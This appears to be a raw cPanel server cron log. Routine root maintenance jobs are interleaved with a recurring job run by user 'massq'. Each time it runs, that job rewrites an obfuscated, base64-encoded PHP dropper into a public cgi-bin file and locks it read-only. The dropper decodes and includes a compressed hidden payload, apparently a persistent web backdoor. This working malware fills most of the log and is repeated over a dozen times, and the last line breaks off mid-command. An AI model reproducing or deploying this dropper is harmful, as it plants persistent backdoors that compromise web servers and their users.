Aug 31 12:14:01 server CROND[9089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:14:01 server CROND[9090]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 12:14:01 server CROND[9091]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:15:02 server CROND[9569]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:15:02 server CROND[9571]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 12:15:02 server CROND[9573]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 12:15:02 server CROND[9574]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 12:15:02 server CROND[9585]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 31 12:15:02 server CROND[9591]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Aug 31 12:15:02 server CROND[9589]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Aug 31 12:15:02 server CROND[9588]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 12:15:02 server CROND[9586]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 12:15:02 server CROND[9593]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:16:01 server CROND[10470]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 12:16:01 server CROND[10472]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:16:01 server CROND[10471]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:17:01 server CROND[10861]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:17:01 server CROND[10862]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 12:17:01 server CROND[10863]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:18:01 server CROND[11322]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:18:01 server CROND[11323]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 12:18:01 server CROND[11324]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:19:01 server CROND[11701]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:19:01 server CROND[11702]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 12:19:01 server CROND[11703]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:20:01 server CROND[12099]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 12:20:01 server CROND[12100]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 12:20:01 server CROND[12102]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:20:01 server CROND[12104]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 12:20:01 server CROND[12108]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 12:20:01 server CROND[12112]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:20:01 server CROND[12113]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 12:20:01 server CROND[12114]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 12:20:01 server CROND[12119]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 12:21:01 server CROND[12994]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:21:01 server CROND[12996]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:21:01 server CROND[12995]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 12:22:01 server CROND[13432]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 12:22:01 server CROND[13433]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:22:01 server CROND[13434]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:23:01 server CROND[13926]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:23:01 server CROND[13925]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:23:01 server CROND[13924]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 12:24:01 server CROND[14320]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:24:01 server CROND[14321]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:24:01 server CROND[14322]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 12:25:01 server CROND[14723]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 12:25:01 server CROND[14724]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:25:01 server CROND[14730]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 12:25:01 server CROND[14729]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 12:25:01 server CROND[14732]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Aug 31 12:25:01 server CROND[14726]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 